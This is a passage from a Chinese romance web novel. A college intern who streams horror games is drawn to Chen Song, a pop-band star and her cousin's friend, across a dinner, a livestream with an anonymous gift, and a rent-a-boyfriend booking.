他没有察觉,垂眸翻看着眼前的菜单,又低头跟她讲话:“我给你发语音的时候,被他们听到了,非嚷嚷着要一起跟过来……不介意吧?”
包厢里很吵,但他稍显冷质的声音落在她耳里却格外清晰。
男人灼热的呼吸拂在她耳廓上。
梁岁宜接过学妹递来的iPad,视线定定地在已点菜单上面扫过。
“不介意。”她垂睫,几乎是屏息凝神才让自己的声音听起来不那么紧绷,“他们就是这样的性格,很爱凑热闹,是不是给您添麻烦了?”
她自认为同他们好歹有些交情,怕大家闹到他,这话问得颇为小心翼翼。
陈颂抬眸看她,眼里浮起一点笑意:“你和他们的关系很好?”
梁岁宜的手指在iPad上面划了下,陈颂注意到,她将芭乐红茶后面的“1”改成了“2”。
梁岁宜最近头发长得有点长,还没及时去理,鬓边碎发挠得耳朵有点痒。
她抬手揉搓了下,努力降低陈颂的存在感,应声:“是,之前带过他们一段时间。”
话音刚落,便听旁边一个学妹大声嚷嚷:“哇,学长学姐你们两个在说什么悄悄话呢,有什么是我们不能听的?”
这一嗓子直接将整桌人的目光都吸引了过来。
陈颂提起唇角,懒洋洋靠在椅子上,因为个子过高,两条笔挺的长腿几乎能挨到桌沿。
“你们梁学姐说,之前带你们很辛苦,你们今天要好好报答她。”
——怎么还带造谣的?
梁岁宜一时睁大了眼睛。
学弟学妹们立刻难以置信地叫了起来:“怎么可能?梁学姐这么温柔,才不会嫌弃我们……”
虽然大家性格都还算外向,但毕竟陈颂身份在那儿摆着呢,学弟学妹们方才也闹腾,但又总透着股不敢放开手脚的拘谨。
陈颂这句话一出,梁岁宜明显感觉旁边的小学弟们表情松快了些。
从以前到现在,他好像总是具备着这种让人瞬间放松下来的能力。
一顿饭从七点吃到八点半。
原本大家还要喝酒,但陈颂说自己晚点还要开车,大家也就没有强求。
住在学校里的梁岁宜没能躲掉,被众人起哄着递到手里一瓶桂花露。
果酒的度数不高,入口清甜且糯,梁岁宜一时贪杯,没一会儿就喝空一瓶。
直到散场时起身才觉得有点晕。
她酒量不好,哪怕喝啤酒都是一瓶倒的程度,白酒更是一口也不敢沾。
从桌边站起身时她没提防,不小心晃了下,很快撑住卓沿站定。
陈颂余光扫向她,淡淡地问:“喝醉了?”
“没有。”梁岁宜说,“只是有点低血糖。”
陈颂没多想,跟着众人一起抬步下楼。
梁岁宜提着包去结账,报出包厢号时才被告知已经有人结过。
旁边两个学妹手挽手从卫生间里出来,两人喝得都有点多,脑袋晕乎乎地估计没看见梁岁宜,在那儿旁若无人地聊天。
“说实话,我现在还感觉自己像是在做梦,我跟我室友说我跟陈颂一起吃饭她们都不信。”
“没想到学长还挺平易近人。”
“真人是真的帅,怎么比电视里还好看?感觉镜头把他颜值吃掉了至少五分。”
两人你一言我一语地说了会儿,不知谁又叹起气来。
“说真的,还蛮想跟他谈恋爱的。”
这话说完,自己先笑了,语调里是少女天然的娇憨。
另一个女生也笑,声音里夹杂着几分怅然:“啊,真想知道最后会是什么样的人拥有这样的陈颂啊。”
梁岁宜一开始还想跟她们打招呼的,但眼看她们话题越扯越远,她索性站在柜台边装死了。
这个点正是大学城里最热闹的时候,餐厅里很是喧嚷。
梁岁宜从柜台上捏了枚薄荷糖放进嘴里,听见她们的话视线不由得望向门外的陈颂。
他和几个男孩子一起站在那里等人,两个学弟聊到最近大热的游戏,两个人说得唾沫横飞情绪激动,时不时转头看一眼陈颂。
陈颂脊背松散地耷着,餐厅一抹廊灯打在他半边身影上,他唇角勾着笑,有一下没一下地搭腔。
不知是不是等急了,他忽然偏头朝屋内看过来。
因为在同人讲话,眼底映出一片未化开的笑意。
他戴了帽子,口罩被拉到下颌骨的位置,长袖半卷,纵然认不出他是谁,但周身的气质还是令不少目光在他身上逗留。
梁岁宜移开视线,瞧见陈颂跨步朝她走过来。
他还以为这边账单出了问题,因为周围实在太过于喧闹,因此不得不低头,距离极近地低声问梁岁宜:“怎么了?”
梁岁宜问他:“今晚的饭多少钱?我转给您。”
“没多少钱,一顿饭而已。”陈颂像是有些无奈,“虽然最近我团舆论缠身,但还没到一顿饭都吃不起的地步。”
门口那帮学弟学妹已经聚齐,边聊天边时不时看向他们的方向。
他们虽然性子跳脱,但基本的礼貌还是刻在骨子里,请客的人不发话,他们也不好就此散场。
梁岁宜于是也没再继续在这里和陈颂推脱,只认真道:“那等你们下次去明城台录节目的时候,我再请你们吃饭。”
陈颂垂眼定定瞧她半晌:“……行。”
他也拿她没辙了。
酒足饭饱,众人乖乖巧巧地和陈颂道完谢之后便纷纷离去。
很快,餐厅门口就只剩下梁岁宜和陈颂两个人。
夏天的夜晚风也是热烘烘的,梁岁宜微醺的脑袋被风吹得更醺
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,她努力让自己保持着清醒,头顶廊灯从正面照在她脸上。
她皮肤白,那片殷红像是从里面透出来。
陈颂视线落在她水亮的眼睛上,舌尖轻轻抵住下颚,轻啧了声:“真没喝醉?”
“没有。”梁岁宜回答得很坦然。
不知是不是酒精作祟,她的声音听起来比清醒时要大很多。
陈颂眉梢微扬:“你确定?”
梁岁宜没接这个话,只是做出和刚刚那帮学弟学妹们一模一样的姿势,朝他恭恭敬敬地鞠了个躬,语调轻软:“如果没什么事的话,我也先回宿舍了。学长您走好。”
“……”陈颂像是没忍住笑出了声。
梁岁宜其实也不算醉,就是头脑有些昏沉。
她听见陈颂的笑声,迟钝的大脑转了一会儿才意识到自己后面那句话有歧义。
但又觉得也没有特地解释的必要,会让人觉得她这人特别较真。
她抬起手,理了一下自己并没有乱掉的头发。
过去这么多年,她还是没有学会如何自如地同陈颂相处。
好在陈颂原本就是一个不会让人陷入尴尬处境的人,他左手抄着兜,另只手在手机上点了两下,这才抬头问梁岁宜:“你宿舍是几栋?”
梁岁宜张嘴就要答话。
陈颂的声音懒洋洋地:“不用告诉我具体的楼层和门号,告诉我几栋就可以。”
见梁岁宜神色茫然,他淡淡地补充:“给你外卖了一点蜂蜜水和醒酒冲剂,你回去以后在楼下大厅取一下。”
“好。”
可能是酒精的缘故,刚刚梁岁宜站这儿,虽然表面看着平静,但她心里面一股情绪一股情绪地往上涌。
这会儿听见陈颂说这话,梁岁宜垂着眼。
夜风热烘烘地扑在她的脸上。
没来由地,方才躁动的心绪瞬间就平静了下来。
梁岁宜的喉头滚了滚,又轻声说:“谢谢。”
陈颂下完单,随手将手机揣进裤兜里。
“走吧。”他说,“送你回去。”
夜里的大学城又吵闹又寂静的。
他们走了条人流比较少的小路,路面上铺就一层红砖,砖头有些年头了,砖与砖的缝隙间冒出矮矮的苔。
路两边种了大片高大的银杏树,树木葱茏,树叶随着晚风轻轻地晃动,在两人脸上投下一片摇曳的影子。
梁岁宜酒后蛮安静,主要是怕自己仗着酒劲儿突然说出点自己平日里不敢说的话。
但安静起来她又不习惯,陈颂这人存在感太强,强到梁岁宜总担心吱呜不言的自己会怠慢了他。
但说话的话也不知道该说点什么。
就这样在挣扎中走到了她的宿舍楼附近。
这边人有点多,梁岁宜怕他被认出来,在距离宿舍楼还有段距离的时候,她就连忙停下了脚步。
斟酌半晌,还是很客气地对他讲:“今晚谢谢您,下次见。”
说完,才终于抬头看他。
这一下,才发现陈颂真的比她高很多。
他们站在小道与宿舍前广场的交汇处,密实的树林将他的身影遮掩在灯光的暗面。
他今天穿白衬衫,一条黑色的西装裤。
头发蓬松柔软地垂在额前,衣袖依旧保持着先前半卷的弧度。
影影绰绰的灯光从他侧后方的位置照过来,将他们两个的身影拉得斜长,影子在地上恍若相依。
“我说,梁主播——”
忽地,他出声叫她。
梁岁宜仰起头,这个角度,她能看见他流畅漂亮的下颌骨线条,以及锁骨上方那截明显凸起的喉结。
陈颂微垂着眼,挑起眉梢看她,半晌才懒洋洋地轻啧了声。
“我也没比你大几岁吧?”他勾着唇角,语气有些无奈,“下次能不要叫我‘您''了么。”
9. 微醺夜
晚上十点一刻,梁岁宜提着药店的购物袋往楼上走。
她们这栋楼里住着的基本上都是大三大四的学生,较之以往,今天显得冷清很多。
梁岁宜晕晕乎乎上了四层楼,被羞赧胀满的心脏才慢慢透出一点呼吸的空隙。
就这么和陈颂有了切切实实的交集——不再是以谁的妹妹这样附属品的身份。
她拨开锁孔进门,寝室里还保持着之前收拾到一半的狼藉场面。
手机突然震动了下。
闵春:[我已经到家了!]
梁岁宜放下手中的购物袋,慢吞吞给闵春回复:[那就好,好好休息!]
这才起身去给自己冲了杯蜂蜜水。
喝完以后,她想了想,觉得自己不能放任陈颂在她的思绪里流淌,于是打开电脑,登上她很久没有登陆过的直播账号。
准备玩会儿游戏缓一缓。
梁岁宜念大学后,因为专业的特殊性,常常需要在大庭广众之下讲话。
那时,她为了克服自己的心理障碍,避免在重要场合突然失语,因此,在闵春的建议下,曾注册过一个直播平台的账号,做恐怖游戏的攻略直播。
她玩游戏其实不算擅长,但不知是不是因为她玩恐怖游戏的反应还算有趣,所以居然还累积了不少粉丝。
这会儿见她开了直播,弹幕上很快就充满了怨念的声音:
【瞧瞧,我看到什么了,失踪主播原来还知道回归】
【老婆老婆老婆!这段时间你去哪里了!没有你直播的日子我度日如年如隔三秋寝食难安命不久矣!】
梁岁宜看着弹幕上的胡言乱语,忍不住笑道:“去上了个班。”
【啊??老婆你居然都已经毕业了吗!!我不记得你还在念大学吗?】
梁岁宜:“还没有毕业,只是去实习。”
【哦吓我一跳】
【不过,连实习都这么忙碌,那看来你这个工作不好做啊】
紧接着,弹幕上就是一片打工人的唉声叹气。
梁岁宜看到右上角观看直播的人数已经到达五百,问道:“好久没玩了,你们最近有特别想看我攻略的游戏吗?”
她没有开摄像头,只有声音出镜。
弹幕很快说:
【有有有!最近微光新出了一款恐怖游戏,还蛮火的,老婆有听说过吗?】
“没有哎。”梁岁宜说。
她最近每天忙于读书和工作,都没怎么关注网络上的消息。
【是叫《无人知晓》,老婆你可以去搜一下!】
梁岁宜应了声好,去APP Store里面搜索了下,点击下载。
梁岁宜随口道:“这真的是恐怖游戏吗?名字听起来很文艺。”
【是带剧情的那种,集剧本杀+橙光游戏+恐怖主题于一体!剧情很好看!第一次玩的时候狠狠流泪了……】
【弹幕不要给宜宜剧透啦!!很想看宜宜的第一反应】
游戏正在下载中。
梁岁宜放在电脑旁边的手机闪了下。
梁岁宜看到上面的来电显示,说了句:“你们等我一下哦,我接个电话。”
说着,她把麦克风关掉了。
接起电话,梁岁宜唤道:“表哥?”
边叙说:“这么晚了还没睡?”
梁岁宜说:“现在还不到十一点。”
又问:“你这个点打电话给我是有什么事吗?”
“没有事就不能给你打电话了?”
梁岁宜说:“我没那么想。”
边叙那边还是白天,周遭有篮球拍动的声音。
边叙说:“你最近已经放暑假了吧?”
“嗯,刚放。”
“行。”边叙说,“下下周我应该会回国过几天,到时候去看看你。”
梁岁宜犹豫片刻,问他:“舅舅舅妈知道你要回来吗?”
“我没跟他们说,你也不要说漏嘴了。”
“……好。”
挂掉电话后,梁岁宜在原地怔愣两秒。
梁岁宜念高三那年,一向温润优秀的表哥不知道是不是延迟爆发了自己的叛逆期,在某个冬天突然带了一个男人回家,说是自己的恋爱对象。
当时舅妈直接被气晕了过去,一家人过了最鸡飞狗跳的一个年关。
表哥被舅舅舅妈勒令不准回家。
而他在本科毕业之后,又在伦敦读了两年研,毕业后一直留在那边。
梁岁宜也很久没有见过他了。
梁岁宜重新在电脑前坐下,游戏已经下载完毕。
她点击安装,重新打开了麦克风。
弹幕问她:
【老婆去了好久啊,是谁这么晚了还打电话】
【是主播的男朋友吗?】
与此同时。
番茄录音室。
稳稳录音录得头晕眼花,赤着上身躺在地板上准备玩会儿手机,突然看到手机上的推送:
【您关注的主播“顺颂时宜”开播啦!】
“我靠!!!”
稳稳垂死惊坐梦中起,猛地一下子从地板上坐起来。
旁边的鼓架被他一撞,两支鼓锤噼里啪啦掉在地上。
哆咪在另一边踢了他一脚:“干什么呢?一惊一乍的。”
稳稳说:“我消失已久的女鹅终于开播了。”
稳稳有个很喜欢的游戏主播,这事儿其余几人都知道。
哆咪不怎么感兴趣地“切”了声。
稳稳进入直播,问他们:“懒得去拿耳机了,不介意我开个外放吧?”
哆咪:“随便。”
盛嘉说:“你开吧,我还没玩过恐怖游戏。”
得到队友的点头,稳稳将手机音量开大。
安静的录音室里很快就只剩下游戏的音效声,还有女生嗓音清软温柔地回答弹幕的声音。
陈颂提着车钥匙从外面回来看到的就是这样一幅场面。
他的队友们丝毫没有形象地横七竖八躺在地上,录音室里冷气开得很足,空气里漂浮着一点花露水的凉气。
陈颂徐徐地关上门,听见稳稳在那里叹气。
“总感觉我女鹅恋爱了。”
哆咪问:“哪来的依据?”
稳稳说:“我看弹幕说,刚刚有人给她打电话,她还把麦克风关掉了,接完电话回来就有点心不在焉。”
稳稳的语气很沉痛:“这么晚了,给一个花季少女打电话,除了男朋友还能有谁?”
盛嘉“噗嗤”笑出了声:“别说,你现在还真挺像在养女鹅的。”
稳稳说:“当然!宜宜可是我0个粉丝的时候就开始买股的电子女鹅!”
陈颂听见某个字眼,眉梢微微扬了下:“你们在说什么?”
盛嘉说:“稳稳说他怀疑他的电子女鹅坠入爱河了。”
“什么电子女鹅?”
陈颂走过去,视线落在稳稳的手机上。
恰好这时有弹幕在问:【主播怎么一直在转移话题,如果真的谈恋爱了我们也会祝福的】
屏幕里女生低软的声音夹杂着丝丝电流:“是我哥的电话。”
她像是有些无奈:“这是游戏直播,请不要在游戏过程中问一些无关话题哦,会让大家出戏的。”
她讲这种话也是很正经的语气,一板一眼的。
有点反差萌。
陈颂的目光落在主播的名字上。
——顺颂时宜。
陈颂神情微动,打开手机,给某个喝得醉醺醺的人发了条微信:[我已经到家。]
果然,屏幕那头传来“叮——”地一响。
游戏主
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播“咦”了一声:“等下,我回个消息。”
很快。
梁主播:[辛苦了!冲个热水澡赶紧休息吧,今天谢谢您的照顾!]
停顿须臾。
梁主播:[。]
梁主播:[你,不是您]
梁主播:[对不起,我习惯了,打错字……]
陈颂眼眸微沉。
稳稳丝毫没察觉出有什么异样,盘腿坐在地板上又是长长的一声叹息。
“看吧,刚挂完电话就开始回微信,这绝逼是恋爱了。”
-
梁岁宜微微脸红地看着她和陈颂的聊天框,有些恼怒自己每次面对陈颂的事情就总显得很局促。
将消息反反复复又阅读了两遍,梁岁宜才有些生无可恋地将手机丢旁边。
屏幕在这时又亮了下。
SONG:[嗯]
梁岁宜瞥了眼弹窗消息,干脆装死没再回复。
弹幕又在问:【又是在和哥哥聊天?】
这话明显是调侃了。
梁岁宜莫名有些心虚,轻咳了声,解释:“是一个合作方的微信。”
弹幕里很快就是吐槽一片:
【你们合作方也太神经了吧?这么晚了还给人发微信】
【现在很多甲方就是不把实习生当人看咯,随便动动手指的事情都要把乙方抓来干活】
【惯的他们】
……
看来大家平常工作里都被甲方折磨得很惨。
梁岁宜想说他们这个合作方没有那么神经,但跟陌生网友也没有说太多的必要。
梁岁宜将游戏点击播放,重新进入策划精心设计的剧情中。
这个游戏的确和梁岁宜以前玩的恐怖游戏都不太一样,故事的最初是一群人一起去参加一场同学聚会,然后一觉醒来发现自己回到了十年前。
现场还有一个死者。
这个游戏并非是单机游戏,其中六个角色分别是系统自动匹配的六个玩家,而玩家中有一个或者多个是凶手。
他们需要在玩游戏的过程中找到凶手,且隐藏自己个人的作案信息。
游戏内的场景做得很逼真,不管是人物的建模还是场景的建模都很漂亮,周围的音效也氛围十足。
梁岁宜打开自己的角色信息,由于她正在直播,因此信息她选择了隐藏观看。
弹幕里聊得很火热:
【妈呀,是谁说这个游戏不吓人的,梦回什么什么黑暗校舍】
【场景做得太逼真了,现在宿舍只有我一个人,有人能懂吗?】
梁岁宜余光瞥见弹幕的讨论,不由得仔细端详了一下建筑的构造,由衷地点评道:
“这个学校礼堂的建模确实不错,这个皮肤我之前做Premiere作业的时候,在某宝买过,那家店价格和服务都很好,如果你们喜欢的话,晚点我发在回放的评论区。”
想了想,她又补充:“不是广告,没有收钱,单纯分享。”
弹幕:
【……】
【真是好熟悉的配方……】
【老婆在破坏气氛这块,还是如此的强啊……】
梁岁宜还想说什么。
突然,屏幕上飘过一搜金光闪闪的大轮渡。
【鼓神送给您豪华游轮x10】
梁岁宜微微一愣。
豪华游轮是平台最贵的礼物,一搜折合成人民币大约是一百块钱。
梁岁宜连忙说:“谢谢鼓神的豪华游轮,不用给我送礼物的,等会儿下播的时候我把钱退给您。”
【哇!有钱人!!】
【鼓神是新人吧,宜宜一直都不收礼物的,送点五毛一块的小鱼小虾就行,超过十块钱的老婆都不收】
【鼓神:不用退,这么晚还要被合作方打扰,是补偿。】
10. 又下雨
陈颂发完弹幕,就把手机丢回到了稳稳手里。
稳稳看着上面金光闪闪的几个大字,立马“我去——”了好几声。
由于他现在是直播间里花钱最多的,所以他发弹幕时,名字周围都镶了一层金边。
顺颂时宜:[你好,方便给个收款方式吗?我把钱退给您。]
平台收下的钱没法退,只能走别的平台转账。
稳稳看着自己支付宝刚刚到账一千零一块的消息,骂了声:“你给人家小主播转一千块,到我这里就只有一块钱???”
陈颂从冰箱里拿了瓶冰水拧开,手肘抵着冰箱门站直,冷冷淡淡地睨过来。
稳稳:……
稳稳决定放弃自取其辱。
鼓神:[真不用还,那个钱是我哥们儿打赏的,他已经还我了。]
他刚刚听到小主播的话之后,忍不住跟着弹幕骂了几句她的合作方实在丧心病狂、压榨员工,然后就开始叨叨逼说小主播一看就是那种很容易被欺负的性格,说话的声音都特软特乖。
记得她刚开始直播的时候什么都不会,用的设备也很差,电脑总是一卡一卡的,耳麦的质量也很不好。
他越说越觉得小主播很心酸,在他心里已经自动把人家想象成一个虽穷但志坚的小可怜,做直播就是为了赚点生活费,但是由于道德感太强,又总是不愿意让粉丝多花钱。
他说着说着甚至眼眶都开始泛红。
可能是他的精彩演讲打动了陈颂,这个冷酷男人不耐烦地啧了两声,就抽走了他的手机冲动地花了一笔钱。
令稳稳觉得哪怕他不做鼓手,转行去做销售应该也非常有天赋。
顺颂时宜:[那我把钱转给您,您再还给您朋友吧。]
稳稳关注了小主播很久,自然知道她是什么样的性格。
想了想,他索性不回复了。
-
直到下线前,鼓神都没再回复她的消息。
这个平台没有关闭打赏的功能,虽然梁岁宜一再强调不需要打赏,但偶尔还是会遇到这样的观众。
有些头疼地揉了揉眉心。
顺颂时宜:[如果您的朋友实在不愿意收钱,那麻烦帮忙问问您的朋友比较喜欢看什么游戏的直播,下次我可以优先播那个。]
发完,她就也下线了。
《无人知晓》今天还没有完全通关,下播前,梁岁宜和其他五个玩家交换了一下联系方式,等她洗完澡出来时,已经被拉进一个微信群里。
群里都在讨论今晚的游戏剧情。
玩家A:[通过今晚的剧情分析,我感觉这大概率是一个暗恋的故事]
玩家B:[有道理,其实无人知晓这个名字听起来就充满了暗恋的BE感啊!]
玩家C:[但是为什么暗恋就一定是BE感啊?]
玩家D:[怎么说呢?我之前在小绿书上刷到一个帖子,说网上大多数都是暗恋者的视角,有没有人说一下被暗恋的人是什么感受]
玩家B:[然后呢?]
玩家D:[然后那个帖子底下很多人回复,基本上就是说感觉很可怕啊,有个人盯着你生活的一点一滴,而且你根本不认识这个人]
玩家E:[啊,好残酷]
梁岁宜站在书桌前,耐心地用毛巾沥干头发,群消息一下一下地跳出来。
因为刚结束游戏,几个人聊得热闹。
此时又有人问:[那你们有暗恋过的人吗?聊一聊,刚好还可以给接下来的游戏剧情收集点信息。]
底下立马跳出五花八门的答案。
人活在这个世上,多多少少都喜欢过那么一两个爱而不得的人。
大约是梁岁宜一直没说话,有人在群里艾特她,让她也讲讲自己的故事。
梁岁宜在椅子上坐下。
阳台的门敞着,夏夜晚风徐徐暖暖地垂起来。
她想了想,还是没有说任何话,被水汽跑得发白发皱的指腹在屏幕上轻轻一点。
切出了聊天框。
……
接下来的几天晚上,梁岁宜都在直播。
后续的剧情也随着真相浮出水面而慢慢展开。
不过,与他们想象中不同的是,这是一个关于男生暗恋女生的故事。
男生在自己身患绝症去世之前,由于执念太强而让时光回溯到了二十年前,他制造了一场场意外杀死了会在后来毁掉他喜欢的人人生的男人。
而他自己也在完成愿望之后结束了自己的生命。
从头到尾,他的喜欢都没有被他喜欢的人知晓。
【本来以为是个恐怖故事,结果是个纯爱故事】
【我哭死,想给编剧寄刀片】
【就不能让时间重新回溯,女主也救下男主吗?】
此时,在游戏里与梁岁宜连麦的几人也都抽抽噎噎地在哭。
现场唯一一个情绪平静的人竟然只有梁岁宜。
玩家A问:“顺颂时宜,你(的角色)就是那个被暗恋的女主角哎,你难道都不感动的吗?”
梁岁宜有些出神:“我刚刚只是在想,其实他喜欢的人直到最后也不知道这些事挺好的,免得给人家造成负担……”
“怎么回事?”玩家C打断她,声音有些哭笑不得,“你明明是被暗恋的角色,怎么代入的是暗恋者的视角啊?!”
“……”
游戏通关之后,他们又聊了会儿,大家就打着哈
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欠散去了。
梁岁宜看了眼后台,鼓神一直没有回复她的消息,看起来这些天都没上线。
关掉直播后,闵春给梁岁宜打了通电话:“你之前说要在校外租房子,房子找到了吗?”
随着大一大二的学生也开始放暑假,学校宿舍很快就会关闭,加之随着音乐时光改版后慢慢进入正轨,梁岁宜的工作量也逐渐增加。
之后熬夜加班的情况应该不在少数。
所以,最近没班的时间,她一直在看房子。
梁岁宜摇了摇头:“还没找到特别合适的。”
闵春说:“没关系,宿舍最迟能住到七月中旬,这几天你慢慢找。”
-
十号那天,明城又下了一场雨。
当时梁岁宜正跟着璐姐在外面采访一个隐退了很久的作曲家,结束时暴雨如注,璐姐还要去幼儿园接女儿,就先走了。
梁岁宜站在写字楼的一层大厅旁躲雨,还不到下班的时间,写字楼里很安静,偶尔会有在这里上班的人手挽手去对面便利店里买东西吃。
梁岁宜想着反正等着也无聊,就走到旁边的桌边打开电脑准备把今天的采访资料整理一下。
刚放下电脑,边叙的电话就打了过来。
他那边听起来很热闹,隐约有人在问大家想吃什么。
边叙说:“宜宜,你下班了吗?”
“我今天在外面采访,已经结束了。”
“昨天太晚了没跟你说,我昨天夜里就到明城了,现在正在大学同学这里和他们聚餐,我想着你晚上要是没什么事,可以一起过来聚一聚?你要是打算留在这边上班,刚好介绍点人给你认识。”
他打电话的时候没避讳着旁人,很快有人挤过来问:“怎么业务这么繁忙呢?一坐下就不停打电话。”
边叙像是低笑了声:“我跟我妹说话呢,你们嘴巴都干净点儿。”
旁边的人立马问:“哦哦哦原来是咱妹,就是你以前经常提起的,那个特乖的妹妹?”
边叙“嗯”了声,那人又说:“妹妹现在也在明城吗?”
“在这边上学。”
“那不是巧了吗?让妹妹一起过来吃饭呗。”
他们三言两语就安排好了梁岁宜的去处,梁岁宜捏捏眉心,就听边叙问:“你现在离得远吗?现在雨下得挺大的,你给我个位置,我找人去接你。”
“哦对。”不等梁岁宜答话,边叙又说,“等会儿陈颂也来,你还记得陈颂吗?我记得你以前挺喜欢他的……”
梁岁宜攥着手机的手心微微出汗,听到这个名字就开始眉心直跳。
下一秒,电话那头忽然传来一道懒洋洋的带笑的声音:“谁以前挺喜欢我的?”
11. 落雨后
从很小的时候梁岁宜就知道,倘若不被人发现自己内心的秘密,就要假装自己根本不在乎这个人或者这件事。
听见陈颂的声音,她的呼吸都停滞了半瞬。
边叙“啊”了声:“你那边这么早就忙完了?”
陈颂散漫地揉了揉眉心:“去录了个宣传节目,比预想中结束得要早。”
他说着话,神色懒怠地靠进沙发里。
旁边的人撂了根烟到他面前,接起先前的话头:“挺好。我们正在问边叙的妹妹要不要过来一起吃饭呢。”
梁岁宜感觉自己的耳根子都麻了起来。
“我这边还有点工作没忙完,”她生硬地转开话题,避重就轻地道,“改天再见吧,表哥。”
“行。”边叙也没强求,又交待了两句,就挂了电话。
梁岁宜握着手机在原地站了半晌,电脑被她从包里拿出来了,但她现在却一点儿工作的心思也没了。
脑海里止不住地想:
挂掉电话之后,边叙会不会继续跟他们聊起她?
通过这些天的相处,陈颂应该是不记得她或者说没有认出她的。
毕竟,自从边叙出国以后,他们也没有再见过面。
她在心里又将这些天来她和陈颂的相处过了一遍,确认自己应该没有暴露什么。
心绪仍是无法平静。
梁岁宜收起电脑,准备打个车回学校。
微信里突然又弹出一条新消息。
心动贩售处:[亲亲,在吗?]
梁岁宜:[在。]
心动贩售处:[太好啦!经过小心的不懈努力,终于找到一个符合您要求的“男友”啦!不过对方注册账号之后一直没有接过单,小心要先和他聊一聊才能确定能不能成。]
心动贩售处:[怕亲亲等得太急,所以先跟你报告一下进度呢~]
梁岁宜:[好的,麻烦你了]
心动贩售处:[不麻烦不麻烦,小心的愿望是助力每个人找到真爱!]
梁岁宜顿了下。
梁岁宜:[我没记错的话,你们这个是租男友的平台,而不是相亲平台吧?]
心动贩售处:[……那不重要,只是一个口号而已]
梁岁宜:[。]
梁岁宜:[Ok]
心动贩售处:[那小心就大胆地去问咯!亲亲就等我的好消息吧!]
梁岁宜看着对方发来的消息,莫名有一种不靠谱的感觉。
不过,她都在网上租男朋友了,好像也没有靠谱到哪里去。
……
晚上十一点,酒酣过半。
边叙许久没回来,一帮人拉着他叙旧叙到大半夜。
原本他们是打算出去吃的,但他们的大学室友徐然最近刚搬到新房,大家美其名曰给新房涨点人气,便将聚会的地点定在了徐然家里。
“这次回来打算待多久?”
“大概半个月,那边还有工作要忙。”
“你家那位没跟你一起回来啊?”
边叙仰靠在椅子上,揉了揉因为喝酒而微微浮肿的眼皮:“没,他最近忙。”
大家都喝得有点多,现场唯一一个没有喝酒的就是陈颂。
他懒洋洋地靠在沙发里,双腿肆意敞着。
徐然说:“今晚你们就住这儿吧,这么晚了就别折腾了。”
有人轻笑:“你这儿床够睡么?”
“你们打地铺不就好了?都是大老爷们儿,咋那么娇气呢。”
陈颂手里捏着枚打火机在把玩。
屋里酒气混着烟气,不太好闻。
徐然说着,走到阳台去把窗户打开了。
陈颂勾起桌上的车钥匙说:“我明天还有几场路演,下次再和你们聚。”
他们之前给一个电影唱主题曲,最近电影要上映了,影视方那边想让他们一起去参加一下路演,就当是给电影宣传。
徐然同情地看他一眼:“太惨了,我怎么感觉你这大明星也没那么好当呢,忙成这样,都没时间谈恋爱吧?”
这话不知怎么勾起了边叙的笑点:“他不需要谈恋爱,工作就是他的老婆。”
边叙说这话,是因为他们刚上大学那会儿,陈颂入校的当天就被人拍了照片发到了他们学校论坛里。
从那之后只要陈颂走在路上,就一定会遇到人跟他表白。
最惨的那次,他和边叙熬夜赶作业,第二天不小心睡过头了。
他刚睡醒还带点起床气,加上那门课的老师点名特别严格。
紧赶慢赶就快要走到上课的教学楼下时,一个学姐突然拦住了他,然后用五分钟念了一篇声情并茂的表白小作文。
陈颂虽然对人家没那个意思,但他这个人在这方面又像是刻在骨子里的修养,就算再着急,也还是安安静静听人家把话讲完了。
然后才说:“抱歉,我去上课了。”
话音落,对面声情并茂的学姐整个人都茫然了。
“哦”了两声满脸懵地给陈颂让位置。
他们那节课就在一楼的阶梯教室,陈颂走到走廊的时候,就已经听到老师正大发雷霆地叫他的名字。
他抬手揉了揉眉骨,修挺高挑的身形在走廊里停顿了两秒,忽然轻笑了声,冷淡又短促。
他转身走回来。
学姐茫然但期待地看着他。
陈颂低头看着学姐,声线散漫却认真地说道:“能麻烦你个事儿吗?”
“……你说。”
陈颂双手环胸,一本正经道:“如果有人问起你,你就说我这个人性格古怪,口味特别,我不喜欢人,就特别爱学习,学习就是我的女朋友。”
“……”
托校园论坛的福,这件事还真在学校里传播开了。
不过,将他这句话广而告之的并不是那位表白的学姐,而是一位恰好路过此处的校园小记者。
那周的校园周报上头版头条就是一排放大的黑色字体:惊!!陈颂自曝有特殊癖好,喜欢的不是人类!
这事儿被徐然他们嘲笑了很久,几个人商量好了集体跑到校文学社那里一人买了十份报纸,给那个月的校文学社的活动经费贡献了巨大支持。
徐然也想起了这件事,笑得话都说不利索:“说起来,这个报纸我这儿还有,前几天搬家还留着呢,我去给你们找找。”
他说着,便转身往书房走。
陈颂倚在门廊边,抱着双臂,在一堆嘲讽声里,冷淡得仿佛事不关己。
青春期干过太多蠢事儿,黑历史一堆,他已经
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麻木。
边叙笑完,终于想起来关心一下好友,问陈颂:“不过,这么多年你就真一个喜欢的人也没遇到过吗?”
陈颂稍稍一怔。
这时徐然从房间里走出来了。
“我说陈颂,这世上最爱你的人肯定就是我了,我突然发现这整整十份报纸我居然都还留着!”
“我靠你恶不恶心,你该不会真的暗恋陈颂吧?”
吊儿郎当的语气,他们都很习惯这样的玩笑。
徐然立马假装恶心呕吐。
他手里的报纸很快被大家洗劫一空。
陈颂换好了鞋,手里拎着件外套,瞧着屋里乱成一团的样子,屈起指节轻轻叩了下鞋柜。
而后散漫道:“报纸也给我一份。”
正在“打架”的众人齐齐看向他:啊??
“拿回去做青春纪念啊?”
“算是吧。”陈颂漫不经心地抬唇,视线轻飘飘在他们几个人身上定了一秒,意味深长道,“正好也给我未来的女朋友看看,我青春年少的时候是多么洁白无瑕。”
“……”
“呕——”
陈颂提着报纸下楼,徐然尽地主之谊,跟在后边儿送他。
想起刚刚的对话,徐然问陈颂:“你刚刚那么说,该不会是有喜欢的人了吧?”
这话是今天陈颂第二次被问到。
他低头漫不经心将手里被蹂躏得有些皱的报纸展平折好,又拽又冷地嗯了声:“还不算。”
徐然乐了:“有就是有,没有就是没有,什么叫还不算?”
陈颂懒散笑了下,没接这话。
徐然这个小区楼层很高,电梯下行得有点慢。
他有些无聊地掏出手机看了眼,顿时又骂了句脏话。
“我要杀了薛明明!!”
薛明明是他们另外一个室友。
陈颂抬眉:“怎么?”
徐然说:“上次聚会的时候,我玩游戏输了要大冒险,薛明明就给我装了个什么交友软件,把我信息挂上去了,我后面都忘记这个事儿了,刚刚突然收到系统消息说给我安排了一个单,要去假扮人家的男朋友……”
他说着,把客服的聊天页面怼到陈颂面前。
电梯在这时停了下来,两人一前一后往外走。
陈颂原本没在意,只觉得好笑,视线淡淡扫向屏幕,忽而看到一段熟悉的文字。
